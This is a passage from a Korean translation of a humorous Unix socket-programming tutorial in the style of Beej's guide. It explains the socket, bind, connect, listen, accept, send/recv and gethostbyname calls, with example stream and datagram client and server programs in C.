이절에서 얘기할 것은 다 했다. 나중에 "whitehouse.gov" 문자열을 해당하는 IP주소로 바꾸는 법을 알려 줄것이다. (DNS절 참조)


socket() ; 파일 기술자를 잡아라

안하면 맞을것 같아서 socket() 시스템 호출에 대해서 얘기해야만 할것같다. 이걸 잠깐 보자.

    #include <sys/types.h>     #include <sys/socket.h>     int socket(int domain, int type, int protocol);

그런데 이 변수들은 또 뭔가? 첫째 domain 은 struct sockaddr_in 에서처럼 AF_INET 로 지정하면 된다. 다음 type 은 SOCK_STREAM이나 SOCK_DGRAM으로 지정하면 된다. 끝으로 protocol은 0으로 지정하면 된다. (언급하지 않았지만 더 많은 domain과 더 많은 type 이 있다는 것을 기억하라. socket() 맨페이지를 참고하고 또한 protocol 에 대해서 좀더 알려면 getprotobyname()을 참조하면 된다.)

socket()은 바로 나중에 사용할 소켓 기술자인 정수값을 돌려주며 에러시에는 -1을 돌려주게 된다. 전역변수인 errno에 에러값이 기록된다. (perror()의 맨페이지를 참조할것.)


bind() ; 나는 어떤 포트에 연결되었나?

일단 소켓을 열게 되면 이 소켓을 현재 시스템의 포트에 연결시켜 주어야 한다. (이 작업은 보통 listen()함수를 이용해서 외부의 접속을 대기할 때 시행되며 일반적으로 머드게임 사이트들이 telnet *.*.*.* 6969 로 접속하라고 할때도 이 작업을 시행했다는 의미이다. ) 만약에 그저 다른 호스트에 연결하기만 할 예정이라면 그냥 connect()를 사용하여 연결만 하면 되고 이 작업은 필요가 없다.

아래는 bind() 시스템 호출의 선언이다.

    #include <sys/types.h>     #include <sys/socket.h>     int bind(int sockfd, struct sockaddr *my_addr, int addrlen);

sockfd는 socket()함수에서 얻은 소켓 기술자이며 my_addr은 IP 주소에 관한 정보(즉, IP 주소와 포트번호)를 담고 있는 struct sockaddr 에 대한 포인터 이고 addrlen은 그 구조체의 사이즈(sizeof(struct sockaddr))이다.

휴~~ 한방에 받아들이기에는 좀 그렇군. 예를 보자.

    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define MYPORT 3490    main()    {        int sockfd;        struct sockaddr_in my_addr;        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        my_addr.sin_family = AF_INET;     /* host byte order */        my_addr.sin_port = htons(MYPORT); /* short, network byte order */        my_addr.sin_addr.s_addr = inet_addr("132.241.5.10");        bzero(&(my_addr.sin_zero), 8);    /* zero the rest of the struct */        /* don't forget your error checking for bind(): */        bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));        .        .        .

몇가지 주의할 점은 my_addr.sin_port 는 my_addr.sin_addr.s_addr과 같이 NBO이다. 또한 헤더화일은 각각의 시스템마다 다를 수 있으므로 각자의 시스템의 맨 페이지를 참고해야 할 것이다.

마지막으로 bind()와 관련해서 주소나 포트의 지정이 때에 따라서 자동화 될 수도 있다는 것을 언급해야 할 것같다.

        my_addr.sin_port = 0; /* choose an unused port at random */        my_addr.sin_addr.s_addr = INADDR_ANY;  /* use my IP address */

my_addr.sin_port를 0으로 지정하면 자동으로 사용되지 않고 있는 포트 번호를 지정해 줄것이며 my_addr.sin_addr.s_addr를 INADDR_ANY로 지정할 경우 현재 작동되고 있는 자신의 IP주소를 자동으로 지정해 주게 된다.

만약 여기서 약간만 주의를 기울였다면 INADDR_ANY를 지정할 때 NBO로 바꾸는 것을 빼먹은 것을 눈치챌 것이다. 나아쁜~~. 그러나 난 내부정보를 알고 있지롱. 사실은 INADDR_ANY는 0이다. 0은 순서를 바꾸어도 0인것이다. 그러나 순수이론적인 측면에서 INADDR_ANY가 그러니까 12정도인 세계가 존재한다면 이 코드는 작동 안할것이다. 그래서? 난 상관없다. 정 그렇다면,

        my_addr.sin_port = htons(0); /* choose an unused port at random */        my_addr.sin_addr.s_addr = htonl(INADDR_ANY);  /* use my IP address */

이제는 믿기 어려울 정도로 이식가능한 코드가 되었다. 다만 지적하고 싶은 것은 작동하는 데에는 아무 문제가 없다는 점이다.

bind()또한 에러가 났을때 -1을 돌려주며 errno에 에러의 코드가 남게 된다.

bind()를 호출할 때 주의할점 : 절대 제한선 아래로 포트번호를 내리지 말라는 것이다. 1024 아래의 번호는 모두 예약되어 있다. 그 위로는 65535까지 원하는 대로 쓸 수가 있다. (다른 프로그램이 쓰고 있지 않은 경우에 한해서..)

또 하나의 작은 꼬리말 : bind() 를 호출하지 않아도 되는 경우가 있다. 만일 다른 호스트에 연결 (connect())하고자 하는 경우에는 자신의 포트에는 (텔넷의 경우처럼)전혀 신경 쓸 필요가 없다. 단지 connect()를 호출하기만 하면 알아서 bind가 되어 있는지를 체크해서 비어있는 포트에 bind를 해준다.


connect() ; 어이~ 거기~

이제 잠깐만 마치 자신이 텔넷 프로그램인 것처럼 생각해 보기로 하자. 당신의 사용자는 명령하기를 (TRON영화에서처럼.. (역자: 난 그 영화 안 봤는데..)) 소켓 기술자를 얻어오라 했고 당신은 즉시 socket()를 호출했다. 다음에 사용자는 132.241.5.10 에 포트 23(정규 텔넷 포트번호)에 연결하라고 한다. 윽, 이젠 어떻게 하지?

다행스럽게도 당신(프로그램)은 connect()절(어떻게 연결하는가)를 심각하게 읽고 있으며 당신의 주인을 실망시키지 않으려고 미친듯이 읽어나가는 중이로다~~

connet()는 다음과 같이 선언한다.

    #include <sys/types.h>     #include <sys/socket.h>     int connect(int sockfd, struct sockaddr *serv_addr, int addrlen);

sockfd는 이제는 친숙해진 소켓 기술자이며 serv_addr은 연결하고자 하는 목적지인 서버의 주소와 포트에 관한 정보를 담고 있는 struct sockaddr 이며 addrlen은 앞에서 이야기 한것과 같이 그 구조체의 크기이다.

뭔가 좀 이해가 갈듯 하지 않은가? 예를 들어 보자.

    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define DEST_IP   "132.241.5.10"    #define DEST_PORT 23    main()    {        int sockfd;        struct sockaddr_in dest_addr;   /* will hold the destination addr */        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        dest_addr.sin_family = AF_INET;        /* host byte order */        dest_addr.sin_port = htons(DEST_PORT); /* short, network byte order */        dest_addr.sin_addr.s_addr = inet_addr(DEST_IP);        bzero(&(dest_addr.sin_zero), 8);       /* zero the rest of the struct */        /* don't forget to error check the connect()! */        connect(sockfd, (struct sockaddr *)&dest_addr, sizeof(struct sockaddr));        .        .        .

다시 말하건데 connect()의 결과값을 한번 체크해 봐야 한다. 에러일 경우 -1을 돌려주고 errno를 세팅하기 때문이다.

또한 bind()를 호출하지 않은 것에 주의해야 한다. 기본적으로 여기서는 자신의 포트 번호에는 결코 관심이 없기 때문이다. 단지 어디로 가는가만이 중요하다. 커널이 알아서 로컬 포트를 선정해 줄 것이며 우리가 연결하고자 하는 곳에서는 자동으로 이 정보를 알게 될 것이다.


listen() ; 누가 전화좀 걸어주지~

이제 보조를 바꾸어서, 만약에 어디론가 연결하고자 하는 것이 아니라 외부로부터의 접속을 대기해서 접속이 올 경우 어떤 방식으로든지 간에 처리를 해 주어야 하는 경우라면 어찌 할 것인가. 이 작업은 두 단계로 이루어진다. 먼저 listen()을 해야 되고 그 다음에 accept()를 해야 된다는 것이다.

listen()은 상당히 간단하지만 약간의 설명은 필요하다.

    int listen(int sockfd, int backlog);

sockfd는 보통의 소켓 기술자이며 backlog는 접속대기 큐의 최대 연결 가능 숫자이다. 그건 또 뭔 얘기인가? 외부로부터의 연결은 이 대기 큐에서 accept()가 호출될 때까지 기다려야 한다는 것이며 숫자는 바로 얼마나 많은 접속이 이 큐에 쌓여질 수 있는가 하는 것이다. 대부분의 시스템은 이 숫자를 조용하게 20정도에서 제한하고 있으며 보통은 5에서 10 사이로 지정하게 된다.

또 다시 listen()도 에러의 경우 -1을 돌려주며 errno를 세팅한다.

아마 상상할 수 있듯이 listen()보다 앞서서 bind()를 호출해야 하며 만약에 bind()가 되지 않으면 우리는 랜덤하게 지정된 포트에서 외부의 접속을 기다려야 한다. (포트를 모르고서 누가 접속할 수 있겠는가? 우엑~~) 따라서 외부의 접속을 기다리는 경우라면 다음 순서대로 작업이 진행되어야 하는 것이다.

    socket();    bind();    listen();    /* accept() goes here */

위의 것만으로도 이해가 갈만하다고 보고 예제에 대신하겠다. (accept()절에 보다 괜찮은 코드가 준비되어 있다.) 이 모든 sha-bang(역자: 이 뭐꼬?)중에서 가장 헷갈리는 부분은 accept()를 부르는 부분이다.


accept() ; 포트 3490에 전화걸어주셔서 감사합니다.

준비! accept()를 호출하는 것은 뭔가 좀 수상하긴 하다. 과연 뭐가 벌어지는가? 저 멀리 떨어진 곳에서 누군가가 connect()를 호출하여 당신이 listen()을 호출하고 기다리는 포트에 접속을 시도한다. 그들의 연결은 바로 accept()가 호출되기 까지 큐에서 바로 당신이 accept()를 호출하여 그 연결을 지속하라고 명령할 때까지 대기하게 된다. 그러면 이 함수는 오로지 이 연결을 위한 완전히 신제품 소켓 파일 기술자를 돌려주게 된다. 갑자기 당신은 하나값으로 두개의 소켓 기술자를 갖게 되는 것이다. 원래의 것은 아직도 그 포트에서 연결을 listen()하고 있다. 또 하나는 새롭게 창조되어 드디어 send()와 recv()를 할 준비가 되도록 하는 것이다.

드디어 여기까지 왔다! 감격~~

선언은 아래와 같다.

     #include <sys/socket.h>      int accept(int sockfd, void *addr, int *addrlen);

sockfd는 listen()하고 있는 소켓의 기술자이다. 뻔하지 뭐.. addr은 로컬 struct sockaddr_in의 포인터이다. 여기에 들어온 접속에 관한 정보가 담겨지게 되고 이를 이용해서 어느 호스트에서 어느 포트를 이용해서 접속이 들어왔는지를 알 수 있게 된다. addrlen은 로컬 정수 변수이며 이 정수에는 struct sockaddr_in의 크기가 미리 지정되어 있어야 한다. 이 숫자보다 더 많은 바이트의 정보가 들어오면 accept()는 받아 들이지 않을 것이며 적데 들어온다면 addrlen의 값을 줄여 줄 것이다.

accept() 는 에러가 났을 경우에 어떻게 한다고? -1을 돌려주고 errno 를 세팅한다.

아까 맨치로 한방에 받아들이기에는 좀 그러니까 예제를 열심히 읽어 보자.

    #include <string.h>     #include <sys/types.h>     #include <sys/socket.h>     #define MYPORT 3490    /* the port users will be connecting to */    #define BACKLOG 10     /* how many pending connections queue will hold */    main()    {        int sockfd, new_fd;  /* listen on sock_fd, new connection on new_fd */        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int sin_size;        sockfd = socket(AF_INET, SOCK_STREAM, 0); /* do some error checking! */        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        /* don't forget your error checking for these calls: */        bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr));        listen(sockfd, BACKLOG);        sin_size = sizeof(struct sockaddr_in);        new_fd = accept(sockfd, &their_addr, &sin_size);        .        .        .

이제 new_fd를 이용해서 send()와 recv()를 이용할 수 있다는 것이다. 만약 원한다면 더이상의 연결을 받아들이지 않고 하나의 연결만 이용하기 위해서 close()를 이용하여 원래의 sockfd를 막아 버릴 수도 있다.


send(), recv() ; 말좀해봐~

이 두 함수는 스트림 소켓이나 연결된 데이터그램 소켓위에서 정보를 주고 받을때 사용하는 것들이다. 만약 보통의 비연결 데이터그램 소켓을 사용한다면 sendto()와 recvfrom()절을 참조하도록 한다.

send() 호출의 선언은 아래와 같다.

    int send(int sockfd, const void *msg, int len, int flags);

sockfd는 socket()를 통해서 얻었거나 accept()를 통해서 새로 구한, 데이터를 보낼 소켓의 기술자이며, msg는 보낼 데이터를 가리키는 포인터, len은 보낼 데이터의 바이트 수 이며 flags 는 그냥 0으로 해야 한다. (플래그에 관한 보다 자세한 내용은 send()의 맨 페이지를 참조할것.)

약간의 예제가 다음과 같다.

    char *msg = "Beej was here!";    int len, bytes_sent;    .    .    len = strlen(msg);    bytes_sent = send(sockfd, msg, len, 0);    .    .    .

send()는 결과값으로 보내진 모든 바이트 수를 돌려주는데 이것은 보내라고 한 숫자보다 작을 수도 있다. 가끔은 보내고자 하는 데이터의 크기가 미처 감당하지 못할 만한 숫자인 경우도 있으며 이 경우 send()는 자기가 감당할 수 있는 숫자만큼만 보내고 나머지는 잘라 버린후 당신이 그 나머지를 다시 보내 줄 것으로 기대하는 것이다. 만약에 보내라고 한 데이터의 크기보다 작은 숫자가 결과값으로 돌아 왔다면 그 나머지 데이터를 보내는 것은 전적으로 당신의 책임인 것이다. 그나마 희소식은 데이터의 사이즈가 작다면 (1k 이내라면) 아마도 한번에 모두 보낼 수 있을 것이다. 또한 에러의 경우 -1을 돌려주며 errno를 세팅한다.

recv()의 경우도 상당히 유사하다.

    int recv(int sockfd, void *buf, int len, unsigned int flags);

sockfd는 읽어올 소켓의 기술자이며 buf는 정보를 담을 버퍼이다. len은 버퍼의 최대 크기이고 flags는 0으로 세팅해야 한다. (자세한 flags의 정보는 recv() 맨 페이지를 참조할것.)

recv()는 실제 읽어들인 바이트 숫자를 돌려주며 에러의 경우는 -1, errno를 세팅한다.

쉬웠을까? 쉬웠지.. 이제 당신은 스트림 소켓을 이용해서 데이터를 보내고 받을 수 있게 되었다. 우와~ 유닉스 네트워크 프로그래머네~~


sendto(), recvfrom() ; 말좀해봐~ 데이터 그램 방식

괜찮은걸, 이라고 말하고 있는줄로 생각하겠다. 그런데 데이터그램에 관한 나머지는 어딨지? 노프라블레모~ 아미고~(역자: 터미네이터2가 생각나는군~~) 이제 할 것이다.

데이터그램 소켓은 연결을 할 필요가 없다면 데이터를 보내기 전에 주어야 할 나머지 정보는 어떻게 주어야 하는가? 맞다. 목적지의 주소를 알려주어야 한다. 여기에 예제가 있다.

    int sendto(int sockfd, const void *msg, int len, unsigned int flags,               const struct sockaddr *to, int tolen);

보다시피 이 함수는 두가지 부가정보가 더 들어간 것 이외에는 기본적으로 send()와 동일하다. to 는 struct sockaddr의 포인터이며(아마도 struct sockaddr_in) 여기에는 목적지의 주소와 포트번호가 담겨 있어야 할 것이다. tolen은 그 구조체의 크기인 것이다.

send()와 마찬가지로 sendto()도 보내어진 데이터의 바이트수를 결과로 돌려주며(실제 보내라고 준 데이터의 크기보다 작을지도 모르는), 에러의 경우 -1을 돌려준다.

비슷하게 recvfrom()도 아래와 같다.

    int recvfrom(int sockfd, void *buf, int len, unsigned int flags                 struct sockaddr *from, int *fromlen);

역시 이것도 두가지 변수가 더 주어지게 된다. from은 데이터를 보내는 장비의 주소와 포트를 담고 있는 struct sockaddr 이며 fromlen은 로컬 정수변수로서 구조체의 크기가 세팅되어 있어야 한다. 함수가 호출된 뒤에는 fromlen에는 실제 from의 크기가 수록되게 된다.

recvfrom()은 실제 받은 데이터의 바이트수를 돌려주며 에러의 경우는 -1, errno를 세팅하게 된다.

만약 connect()를 이용하여 데이터그램 소켓을 연결한 후의 상황이라면 간단히 send(), recv() 를 사용해도 상관 없으며 소켓 인터페이스는 자동으로 목적지와 소스에 관한 정보를 함수에 추가해서 작동되게 될 것이다.


close(), shutdown() ; 꺼지쇼.

휴~~ 하루종일 데이터를 보내고 받았더니..이제는 소켓을 닫을 때가 된 것이다. 이건 쉽다. 정규 파일 기술자에 관한 close()를 사용하면 되는 것이다.

    close(sockfd);

이것으로 더이상의 입출력은 불가능 해지며 누구든지 원격지에서 이 소켓에 읽고 쓰려고 하는 자는 에러를 받게 될 것이다.

약간 더 세밀한 제어를 위해서는 shutdown()을 사용하면 된다. 이것을 이용하면 특정방향으로의 통신만을 끊을 수도 있게 된다.

    int shutdown(int sockfd, int how);

sockfd는 소켓 기술자이며 how는 다음과 같다.

  • 0 - 더이상의 수신 금지
  • 1 - 더이상의 송신 금지
  • 2 - 더이상의 송수신 금지(close()와 같은 경우)

shutdown() 은 에러의 경우 -1을 돌려주며 errno를 세팅한다.

황송하옵게도 연결도 되지않은 데이터그램 소켓에 shutdown()을 사용한다면 단지 send(), recv()를 사용하지 못하게만 만들 것이다. connect()를 사용한 경우에만 이렇게 사용할 수 있다는 것을 기억해야 한다. (역자: 그렇다면 sendto, recvfrom은 사용이 된다는 얘기인가??테스트가 필요할듯.)

암것도 아니군.


getpeername() ; 누구십니까?

이 함수는 되게 쉽다.

너무 쉬워서 절을 따로 만들 필요가 없지않나 고민했지만 여기 있는걸 보니까..

getpeername()은 상대편 쪽 스트림 소켓에 누가 연결되어 있는가를 알려준다.

    #include <sys/socket.h>     int getpeername(int sockfd, struct sockaddr *addr, int *addrlen);

sockfd는 연결된 스트림 소켓의 기술자이며 addr은 상대편의 정보를 담게 될 struct sockaddr(또는 struct sockaddr_in)의 포인터 이며 addrlen은 정수를 가리키는 포인터로서 구조체의 크기가 지정되어 있어야 한다.

에러의 경우는 -1을 돌려주고 errno를 세팅한다. (외우겠군.)

일단 주소를 알게되면 inet_ntoa()나 gethostbyaddr()을 이용하여 좀더 많은 정보를 알아낼 수 있게 되지만 상대편의 login name을 알게되는 것은 아니다. (만일 상대편에 ident 데몬이 돌고 있다면 알아낼 방법이 없는 것은 아니지만 이 내용은 이 글의 취지를 벗어나는 내용이므로 RFC-1413을 참조하라고 말하고 싶다.)


gethostname() ; 난 누구인가?

getpeername()보다 더 쉬운 것이 이 함수이다. 결과로 프로그램이 돌고 있는 컴퓨터의 이름을 알려준다. 이름은 gethostbyname()을 이용하여 로컬 장비의 IP주소를 알아내는데 사용될 수도 있다.

뭐가 더 재미있는가? 몇가지 생각해 볼 수 있는데 이 문서에는 적절하지 않은 내용이다(역자: 과연 뭘까..되게 궁금하네..). 어쨌거나,

    #include <unistd.h>    int gethostname(char *hostname, size_t size);

hostname은 문자열의 포인터이며 함수가 돌려주는 값을 담게 될 변수이다. size는 그 문자열의 크기이다.

성공적이면 0을, 에러의 경우 -1을 리턴하고 errno를 세팅한다.


DNS ; whitehouse.gov - 198.137.240.100

모르는 사람을 위하여 DNS는 Domain Name Service 라는 것을 먼저 얘기 하겠다. 간결하게 얘기한다면 DNS에다가 사람이 읽을수 있는 주소를 말해주면 DNS는 bind,connect,sendto,어쨌거나 IP주소가 필요한 것들에서 사용할 수 있는 IP주소를 돌려준다. 즉 누군가가 이렇게 입력했다면

    $ telnet whitehouse.gov

telnet 은 connect()에 사용하기 위해서 198.137.240.100이라는 IP주소를 찾아내게 된다. 그런데 어떻게 그렇게 하는 것인가? gethostbyname()을 사용하면 된다.

    #include <netdb.h>         struct hostent *gethostbyname(const char *name);

보다시피 결과로 struct hostent의 포인터가 돌아온다. 그 구조는 아래와 같다.

    struct hostent {        char    *h_name;        char    **h_aliases;        int     h_addrtype;        int     h_length;        char    **h_addr_list;    };    #define h_addr h_addr_list[0]

각 필드에 대한 설명은 다음과 같다.

  • h_name - 호스트의 공식적인 이름
  • h_aliases - 호스트의 별명으로서 NULL 로 끝맺음된다.
  • h_addrtype - 주소의 종류, 보통 AF_INET
  • h_length - 주소의 바이트 수
  • h_addr_list - 0으로 끝나는 네트워크 주소들, NBO로 되어 있다.
  • h_addr - h_addr_list속의 첫번째 주소

gethostbyname()은 위의 구조체의 포인터를 돌려주게 되며 에러의 경우 NULL을 돌려준다. errno는 세팅되지 않고 h_errno가 세팅이 된다. (아래의 herror()참조)

그런데 이걸 어떻게 사용하는가? 보통 컴퓨터 매뉴얼들 처럼 독자앞에 정보를 마구 쌓아놓은 것만으로는 부족한 법이다. 이 함수는 사실 보기보다는 쓰기가 쉬운 편이다.

예제를 보자.

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <netdb.h>     #include <sys/types.h>    #include <netinet/in.h>     int main(int argc, char *argv[])    {        struct hostent *h;        if (argc != 2) {  /* error check the command line */            fprintf(stderr,"usage: getip address\n");            exit(1);        }        if ((h=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        printf("Host name  : %s\n", h->h_name);        printf("IP Address : %s\n",inet_ntoa(*((struct in_addr *)h->h_addr)));        return 0;    }

gethostbyname()에서는 errno가 세팅되지 않는 까닭으로 perror()를 사용할 수 없고 herror()을 사용해야 한다.

간단히 호스트의 이름을 담고 있는 스트링을 gethostbyname()함수에 넣어 줌으로써 바로 struct hostent 를 얻게 되는 것이다.

남아있는 한가지 수상한 점은 위의 방법으로 어떻게 주소를 숫자와 점으로 출력할 것인가 하는 문제이다. h->h_addr 은 문자 포인터( char *) 인데 inet_ntoa()는 변수로서 struct in_addr 을 원하기 때문이다. 따라서 h->h_addr 을 struct in_addr * 으로 형변환을 하고 결과값을 얻기 위해 다시 역참조 하면 된다는 것이다.


클라이언트-서버의 배경

요즘은 클라이언트-서버가 판치는 세상이죠~~ 네트워크에 관한 모든 것은 서버 프로세스를 요청하는 클라이언트 프로세스로서 다루어진다. 텔넷을 이용하여 23번 포트에 접속하는 (클라이언트)것은 서버프로그램(telnetd)을 작동시키게 되는 것이며 이 서버 프로그램은 들어오는 각종 신호를 받아들여서 당신의 텔넷 접속을 위하여 로그인 프롬프트를 주게 되는 것이다. 등등..

[Client-Server Relationship] 그림2. 클라이언트-서버간의 관계

클라이언트와 서버간의 정보 교환의 모델이 그림에 잘 나와있다.

주목할점은 클라이언트와 서버간에는 SOCK_STREAM이든, SOCK_DGRAM이든지간에 같은 것으로만 된다면 의사소통이 된다는 것이다. 좋은 예들은 telnet-telnetd, ftp-ftpd, 또는 bootp-bootpd 등이다. ftp를 쓴다면 반드시 상대편에 ftpd가 돌고 있다는 것이다.

보통 호스트에는 하나의 서버 프로그램이 돌고 있게 된다. 그리고 그 서버는 fork()를 이용하여 다중의 클라이언트를 받게 되는 것이다. 기본적인 루틴의 구조는 다음과 같다. 서버는 접속을 대기하다가 accept()를 호출하게 되며 그 때 fork()를 이용하여 자식 프로세스를 만들어내어 그 접속을 처리하게 된다. 이것이 바로 다음에 소개될 예제 서버 프로그램의 구조이다.


간단한 스트림 서버

이 서버가 하는 일은 오직 스트림 접속을 하게 되는 모든 클라이언트에게 "Hello, World!\n"을 출력해 주는 것이다. 이 서버를 테스트하기 위해서는 하나의 윈도우에서 이 서버를 실행시켜 놓고 다른 윈도우에서 텔넷 접속을 시도해 보는 것이다.

    $ telnet remotehostname 3490

hostname 은 서버 프로그램이 작동된 호스트의 이름이다.

서버 프로그램 코드

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 3490    /* the port users will be connecting to */    #define BACKLOG 10     /* how many pending connections queue will hold */    main()    {        int sockfd, new_fd;  /* listen on sock_fd, new connection on new_fd */        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int sin_size;        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {            perror("socket");            exit(1);        }        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \                                                                      == -1) {            perror("bind");            exit(1);        }        if (listen(sockfd, BACKLOG) == -1) {            perror("listen");            exit(1);        }        while(1) {  /* main accept() loop */            sin_size = sizeof(struct sockaddr_in);            if ((new_fd = accept(sockfd, (struct sockaddr *)&their_addr, \                                                          &sin_size)) == -1) {                perror("accept");                continue;            }            printf("server: got connection from %s\n", \                                               inet_ntoa(their_addr.sin_addr));            if (!fork()) { /* this is the child process */                if (send(new_fd, "Hello, world!\n", 14, 0) == -1)                    perror("send");                close(new_fd);                exit(0);            }            close(new_fd);  /* parent doesn't need this */            while(waitpid(-1,NULL,WNOHANG) > 0); /* clean up child processes */        }    }

이 코드는 문법상의 단순함을 위하여 하나의 커다란(내 생각에) main()에 모든 것이 들어가 있다. 만약에 이것을 잘게 잘라서 작은 여러개의 함수로 구성을 하는것이 좋다고 생각된다면 그래도 된다.

다음의 클라이언트 코드를 이용한다면 이 서버로부터 문자열을 받아 낼수도 있다.


간단한 스트림 클라이언트

이녀석은 서버보다 더 쉬운 코드이다. 이 프로그램이 하는 일은 명령행에서 지정된 주소에 3490번 포트에 접속하여 서버가 보내는 문자열을 받는 것 뿐이다.

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <netdb.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #define PORT 3490    /* the port client will be connecting to */    #define MAXDATASIZE 100 /* max number of bytes we can get at once */    int main(int argc, char *argv[])    {        int sockfd, numbytes;          char buf[MAXDATASIZE];        struct hostent *he;        struct sockaddr_in their_addr; /* connector's address information */        if (argc != 2) {            fprintf(stderr,"usage: client hostname\n");            exit(1);        }        if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {            perror("socket");            exit(1);        }        their_addr.sin_family = AF_INET;      /* host byte order */        their_addr.sin_port = htons(PORT);    /* short, network byte order */        their_addr.sin_addr = *((struct in_addr *)he->h_addr);        bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */        if (connect(sockfd, (struct sockaddr *)&their_addr, \                                              sizeof(struct sockaddr)) == -1) {            perror("connect");            exit(1);        }        if ((numbytes=recv(sockfd, buf, MAXDATASIZE, 0)) == -1) {            perror("recv");            exit(1);        }        buf[numbytes] = '\0';        printf("Received: %s",buf);        close(sockfd);        return 0;    }

이 클라이언트를 작동하기에 앞서서 서버를 작동시켜놓지 않았다면 connect()함수는 "Connection refused"를 돌려주게 될것이다. 쓸만하군!


데이터그램 소켓

이에 관해서는 그다지 얘기할 것이 많지 않다. 따라서 그냥 두개의 프로그램을 보여 주겠다.

listener는 호스트에 앉아서 4950포트에 들어오는 데이터 패킷을 기다린다. talker는 지정된 호스트의 그 포트로 뭐든지 간에 사용자가 입력한 데이터를 보낸다.

listener.c

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 4950    /* the port users will be connecting to */    #define MAXBUFLEN 100    main()    {        int sockfd;        struct sockaddr_in my_addr;    /* my address information */        struct sockaddr_in their_addr; /* connector's address information */        int addr_len, numbytes;        char buf[MAXBUFLEN];        if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {            perror("socket");            exit(1);        }        my_addr.sin_family = AF_INET;         /* host byte order */        my_addr.sin_port = htons(MYPORT);     /* short, network byte order */        my_addr.sin_addr.s_addr = INADDR_ANY; /* auto-fill with my IP */        bzero(&(my_addr.sin_zero), 8);        /* zero the rest of the struct */        if (bind(sockfd, (struct sockaddr *)&my_addr, sizeof(struct sockaddr)) \                                                                       == -1) {            perror("bind");            exit(1);        }        addr_len = sizeof(struct sockaddr);        if ((numbytes=recvfrom(sockfd, buf, MAXBUFLEN, 0, \                           (struct sockaddr *)&their_addr, &addr_len)) == -1) {            perror("recvfrom");            exit(1);        }        printf("got packet from %s\n",inet_ntoa(their_addr.sin_addr));        printf("packet is %d bytes long\n",numbytes);        buf[numbytes] = '\0';        printf("packet contains \"%s\"\n",buf);        close(sockfd);    }

결국 socket()를 호출할 때 SOCK_DGRAM을 사용하게 된것을 주의하고, listen()이나 accept()를 사용하지 않은것도 주의해 봐야 한다. 이 코드가 바로 비연결 데이터그램 소켓의 자랑스러운 사용예인 것이다.

talker.c

    #include <stdio.h>     #include <stdlib.h>     #include <errno.h>     #include <string.h>     #include <sys/types.h>     #include <netinet/in.h>     #include <netdb.h>     #include <sys/socket.h>     #include <sys/wait.h>     #define MYPORT 4950    /* the port users will be connecting to */    int main(int argc, char *argv[])    {        int sockfd;        struct sockaddr_in their_addr; /* connector's address information */        struct hostent *he;        int numbytes;        if (argc != 3) {            fprintf(stderr,"usage: talker hostname message\n");            exit(1);        }        if ((he=gethostbyname(argv[1])) == NULL) {  /* get the host info */            herror("gethostbyname");            exit(1);        }        if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1) {            perror("socket");            exit(1);        }        their_addr.sin_family = AF_INET;      /* host byte order */        their_addr.sin_port = htons(MYPORT);  /* short, network byte order */        their_addr.sin_addr = *((struct in_addr *)he->h_addr);        bzero(&(their_addr.sin_zero), 8);     /* zero the rest of the struct */        if ((numbytes=sendto(sockfd, argv[2], strlen(argv[2]), 0, \             (struct sockaddr *)&their_addr, sizeof(struct sockaddr))) == -1) {            perror("sendto");            exit(1);        }        printf("sent %d bytes to %s\n",numbytes,inet_ntoa(their_addr.sin_addr));        close(sockfd);        return 0;    }

이것이 다다. listener를 한 호스트에서 실행 시키고 다른 곳에서 talker를 실행시킨다. 핵가족시대에 어울리는 가족용 오락이 될수도...

앞에서도 얘기했었지만 한가지 작은 내용을 더 말해야 할것 같다. 만약 talker에서 connect()를 호출해서 연결을 했다면 그 다음부터는 sendto(), recvfrom()이 아니라 그냥 send().recv()를 사용해도 된다는 것이다. 전달되어야 하는 호스트의 주소는 connect()에 지정된 주소가 사용되게 된다.


블로킹

블로킹. 아마 들어봤겠지. 그런데 도대체 그게 뭘까? 사실 "잠들다"의 기술용어에 불과한 것이다. 아마도 listener를 실행시키면서 눈치를 챘겠지만 그 프로그램은 그저 앉아서 데이터 패킷이 올때까지 기다리는 것이다. 잠자면서.. recvfrom()을 호출했는데 데이터가 들어온 것이 없다면? 바로 뭔가 데이터가 들어올 때까지 블로킹이 되는 것이다(그냥 거기서 자고 있는 것이다.).

